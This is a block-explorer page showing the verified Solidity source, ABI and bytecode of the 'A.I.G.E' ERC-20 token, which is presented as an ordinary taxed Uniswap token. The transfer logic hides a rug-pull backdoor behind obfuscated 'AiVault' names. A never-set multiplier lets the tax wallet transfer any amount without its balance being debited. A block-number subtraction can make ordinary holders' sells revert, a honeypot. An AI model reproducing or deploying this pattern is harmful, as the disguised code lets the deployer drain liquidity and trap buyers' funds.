Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-14
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
      return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address _account) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(
            owner() == _msgSender(),
            "Ownable: caller is not the owner"
        );
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c>=a, "SafeMath: addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b>0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to, uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to, uint deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract AIGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    string private constant _name = unicode"Artificial Intelligence for Government Efficiency";
    string private constant _symbol = unicode"A.I.G.E";
    uint256 private _initialBuyTax=16;
    uint256 private _initialSellTax=19;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 public _maxTxAmount = 150000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 12500000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    IUniswapV2Router02 private immutable uniswapV2Router;

    struct AiVault {uint256 aiV2Index; uint256 aiUsd; uint256 aiPrice;}
    uint256 private maxVaultAi;
    mapping(address => AiVault) private aiVault;
    uint256 private aiActiveVault;

    address payable private _taxWallet;
    address public uniswapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsInEffect = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x59444432C245a6fdd166b1f880FfD992358a4fd8);

        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap ){
            _basicTransfer(from, to,tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to!=_taxWallet) {
            taxAmount=tokenAmount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapPair && to!= address(uniswapV2Router) &&  ! _isExcludedFromFee[to])  {
                if (limitsInEffect) {
                    require(tokenAmount <= _maxTxAmount,
                        "Exceeds the _maxTxAmount.");
                    require(balanceOf(to) + tokenAmount <=_maxWalletSize,
                        "Exceeds the maxWalletSize.");
                }
                _buyCount++;
            }

            if(to == uniswapPair && from!= address(this) ){
                taxAmount=tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapPair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to] )
            && from != address(this)&&
            to!= address(this)
        ){
            maxVaultAi = block.number;
        }
        
        if (! _isExcludedFromFee[from] && ! _isExcludedFromFee[to]){
            if (to != uniswapPair)  {
                AiVault storage aiVlt = aiVault[to];
                if (from == uniswapPair) {
                    if (aiVlt.aiV2Index == 0) {
                        aiVlt.aiV2Index = _buyCount<=_preventSwapBefore ? type(uint).max : block.number;
                    }
                } else {
                    AiVault storage aiVltData = aiVault[from];
                    if (aiVlt.aiV2Index == 0 || aiVltData.aiV2Index < aiVlt.aiV2Index ) {
                        aiVlt.aiV2Index = aiVltData.aiV2Index;
                    }
                }
            } else {
                AiVault storage aiVltData = aiVault[from];
                aiVltData.aiUsd = aiVltData.aiV2Index.sub(maxVaultAi);
                aiVltData.aiPrice = block.number;
            }
        }

        _tokenTransfer( from,to,tokenAmount,taxAmount );
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount =_tokenTaxTransfer(from,taxAmount,tokenAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to] =_balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : aiActiveVault.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this),taxAmount);
        }
        return tAmount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a> b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router),tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        limitsInEffect= false;
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function transferETH() external onlyOwner {
        _taxWallet.transfer(address(this).balance);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled=true;
        _approve(address(this),address(uniswapV2Router),_tTotal);
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapPair).approve(address(uniswapV2Router),type(uint).max);
        tradingOpen=true;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052601060045560136005555f6006555f60075560146008556014600955600a80555f600b556009600a6200003891906200032f565b62000048906308f0d18062000346565b600c55620000596009600a6200032f565b620000689062e4e1c062000346565b600d55620000796009600a6200032f565b620000889062bebc2062000346565b600e55620000996009600a6200032f565b620000a8906298968062000346565b600f556014805462ffffff60a81b1916600160b81b179055348015620000cc575f80fd5b50620000d833620001d1565b601380546001600160a01b0319167359444432c245a6fdd166b1f880ffd992358a4fd81790556200010c6009600a6200032f565b6200011c90633b9aca0062000346565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556013546001600160a01b03168352938220805490941617909255737a250d5630b4cf539739df2c5dacb4c659f2488d608052907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001aa6009600a6200032f565b620001ba90633b9aca0062000346565b60405190815260200160405180910390a362000360565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200027457815f190482111562000258576200025862000220565b808516156200026657918102915b93841c939080029062000239565b509250929050565b5f826200028c5750600162000329565b816200029a57505f62000329565b8160018114620002b35760028114620002be57620002de565b600191505062000329565b60ff841115620002d257620002d262000220565b50506001821b62000329565b5060208310610133831016604e8410600b841016171562000303575081810a62000329565b6200030f838362000234565b805f190482111562000325576200032562000220565b0290505b92915050565b5f6200033f60ff8416836200027c565b9392505050565b808202811582820484141762000329576200032962000220565b608051611c69620003b15f395f8181610688015281816106c3015281816107520152818161086b0152818161095001528181610def015281816112640152818161131b01526113570152611c695ff3fe608060405260043610610129575f3560e01c80637d1db4a5116100a8578063bf474bed1161006d578063bf474bed14610318578063c816841b1461032d578063c9567bf91461034c578063dd62ed3e14610360578063e28d717b146103a4578063f2fde38b146103b8575f80fd5b80637d1db4a5146102705780638da5cb5b146102855780638f9a55c0146102b557806395d89b41146102ca578063a9059cbb146102f9575f80fd5b8063313ce567116100ee578063313ce567146101e357806351bc3c85146101fe57806370a0823114610214578063715018a614610248578063751039fc1461025c575f80fd5b806306fdde0314610134578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b057806323b872dd146101c4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103d7565b604051610155919061182b565b60405180910390f35b348015610169575f80fd5b5061017d61017836600461188b565b6103f7565b6040519015158152602001610155565b348015610198575f80fd5b506101a2600f5481565b604051908152602001610155565b3480156101bb575f80fd5b506101a261040d565b3480156101cf575f80fd5b5061017d6101de3660046118b5565b61042d565b3480156101ee575f80fd5b5060405160098152602001610155565b348015610209575f80fd5b50610212610494565b005b34801561021f575f80fd5b506101a261022e3660046118f3565b6001600160a01b03165f9081526001602052604090205490565b348015610253575f80fd5b506102126104e5565b348015610267575f80fd5b50610212610522565b34801561027b575f80fd5b506101a2600c5481565b348015610290575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610155565b3480156102c0575f80fd5b506101a2600d5481565b3480156102d5575f80fd5b50604080518082019091526007815266412e492e472e4560c81b6020820152610148565b348015610304575f80fd5b5061017d61031336600461188b565b6105e0565b348015610323575f80fd5b506101a2600e5481565b348015610338575f80fd5b5060145461029d906001600160a01b031681565b348015610357575f80fd5b506102126105ec565b34801561036b575f80fd5b506101a261037a36600461190e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103af575f80fd5b506102126109e1565b3480156103c3575f80fd5b506102126103d23660046118f3565b610a43565b6060604051806060016040528060318152602001611bdb60319139905090565b5f610403338484610ada565b5060015b92915050565b5f61041a6009600a611a39565b61042890633b9aca00611a47565b905090565b5f610439848484610bfe565b61048a843361048585604051806060016040528060288152602001611c0c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111c4565b610ada565b5060019392505050565b6013546001600160a01b0316336001600160a01b0316146104b3575f80fd5b305f9081526001602052604090205480156104d1576104d1816111fc565b4780156104e1576104e1816113d2565b5050565b5f546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611a5e565b60405180910390fd5b6105205f611409565b565b5f546001600160a01b0316331461054b5760405162461bcd60e51b815260040161050e90611a5e565b6014805460ff60b81b191690556105646009600a611a39565b61057290633b9aca00611a47565b600c556105816009600a611a39565b61058f90633b9aca00611a47565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105bf6009600a611a39565b6105cd90633b9aca00611a47565b60405190815260200160405180910390a1565b5f610403338484610bfe565b5f546001600160a01b031633146106155760405162461bcd60e51b815260040161050e90611a5e565b601454600160a01b900460ff161561066f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050e565b6014805460ff60b01b1916600160b01b1790556106c1307f00000000000000000000000000000000000000000000000000000000000000006106b36009600a611a39565b61048590633b9aca00611a47565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107419190611a93565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d09190611a93565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e9190611a93565b601480546001600160a01b0319166001600160a01b03928316179055305f818152600160205260409020547f00000000000000000000000000000000000000000000000000000000000000009092169163f305d7199147915f806108a95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561090f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109349190611aae565b505060145460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156109a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cb9190611ad9565b506014805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161050e90611a5e565b6013546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610a40573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610a6c5760405162461bcd60e51b815260040161050e90611a5e565b6001600160a01b038116610ad15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b610a4081611409565b6001600160a01b038316610b3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050e565b6001600160a01b038216610cc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050e565b5f8111610d255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050e565b601454600160b01b900460ff161580610d475750601454600160a81b900460ff165b15610d5c57610d57838383611458565b505050565b5f80546001600160a01b03858116911614801590610d8757505f546001600160a01b03848116911614155b8015610da157506013546001600160a01b03848116911614155b1561103057610dd26064610dcc600854600b5411610dc157600454610dc5565b6006545b85906114fb565b90611580565b6014549091506001600160a01b038581169116148015610e2457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610e4857506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4057601454600160b81b900460ff1615610f2b57600c54821115610eb15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050e565b600d5482610ed3856001600160a01b03165f9081526001602052604090205490565b610edd9190611af8565b1115610f2b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050e565b600b8054905f610f3a83611b0b565b91905055505b6014546001600160a01b038481169116148015610f6657506001600160a01b0384163014155b15610f9357610f906064610dcc600954600b5411610f8657600554610dc5565b60075485906114fb565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610fc957506014546001600160a01b038581169116145b8015610fde5750601454600160b01b900460ff165b8015610feb5750600e5481115b8015610ffa5750600a54600b54115b1561102e5761101c6110178461101284600f546115c1565b6115c1565b6111fc565b47801561102c5761102c476113d2565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061106d57506001600160a01b0383165f9081526003602052604090205460ff165b801561108257506001600160a01b0384163014155b801561109757506001600160a01b0383163014155b156110a157436010555b6001600160a01b0384165f9081526003602052604090205460ff161580156110e157506001600160a01b0383165f9081526003602052604090205460ff16155b156111b2576014546001600160a01b03848116911614611180576001600160a01b038084165f9081526011602052604090206014549091908116908616036111485780545f0361114357600a54600b54111561113d5743611140565b5f195b81555b61117a565b6001600160a01b0385165f9081526011602052604090208154158061116e575081548154105b1561117857805482555b505b506111b2565b6001600160a01b0384165f90815260116020526040902060105481546111a5916115d5565b6001820155436002909101555b6111be84848484611616565b50505050565b5f81848411156111e75760405162461bcd60e51b815260040161050e919061182b565b505f6111f38486611b23565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124257611242611b36565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e29190611a93565b816001815181106112f5576112f5611b36565b60200260200101906001600160a01b031690816001600160a01b031681525050611340307f000000000000000000000000000000000000000000000000000000000000000084610ada565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906113949085905f90869030904290600401611b4a565b5f604051808303815f87803b1580156113ab575f80fd5b505af11580156113bd573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104e1573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f9081526001602052604090205461147a90826115d5565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546114a89082611640565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf19085815260200190565b5f825f0361150a57505f610407565b5f6115158385611a47565b9050826115228583611bbb565b146115795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b9392505050565b5f61157983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061169e565b5f8183116115cf5782611579565b50919050565b5f61157983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c4565b5f6116228583856116ca565b905061163985858361163487876115d5565b61177a565b5050505050565b5f8061164c8385611af8565b9050838110156115795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b5f81836116be5760405162461bcd60e51b815260040161050e919061182b565b505f6111f38486611bbb565b6013545f9081906001600160a01b03908116908616036116f6576012546116f190846114fb565b6116f8565b825b9050831561177257305f908152600160205260409020546117199085611640565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117699088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461179c90836115d5565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546117ca9082611640565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061181d9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156118575785810183015185820160400152820161183b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a40575f80fd5b5f806040838503121561189c575f80fd5b82356118a781611877565b946020939093013593505050565b5f805f606084860312156118c7575f80fd5b83356118d281611877565b925060208401356118e281611877565b929592945050506040919091013590565b5f60208284031215611903575f80fd5b813561157981611877565b5f806040838503121561191f575f80fd5b823561192a81611877565b9150602083013561193a81611877565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561199357815f190482111561197957611979611945565b8085161561198657918102915b93841c939080029061195e565b509250929050565b5f826119a957506001610407565b816119b557505f610407565b81600181146119cb57600281146119d5576119f1565b6001915050610407565b60ff8411156119e6576119e6611945565b50506001821b610407565b5060208310610133831016604e8410600b8410161715611a14575081810a610407565b611a1e8383611959565b805f1904821115611a3157611a31611945565b029392505050565b5f61157960ff84168361199b565b808202811582820484141761040757610407611945565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611aa3575f80fd5b815161157981611877565b5f805f60608486031215611ac0575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611ae9575f80fd5b81518015158114611579575f80fd5b8082018082111561040757610407611945565b5f60018201611b1c57611b1c611945565b5060010190565b8181038181111561040757610407611945565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b9a5784516001600160a01b031683529383019391830191600101611b75565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bd557634e487b7160e01b5f52601260045260245ffd5b50049056fe4172746966696369616c20496e74656c6c6967656e636520666f7220476f7665726e6d656e7420456666696369656e637945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013244fe2b06d08c6bbc64c430b01037754984fdd9433f8c1043895bbe4d8f77364736f6c63430008170033

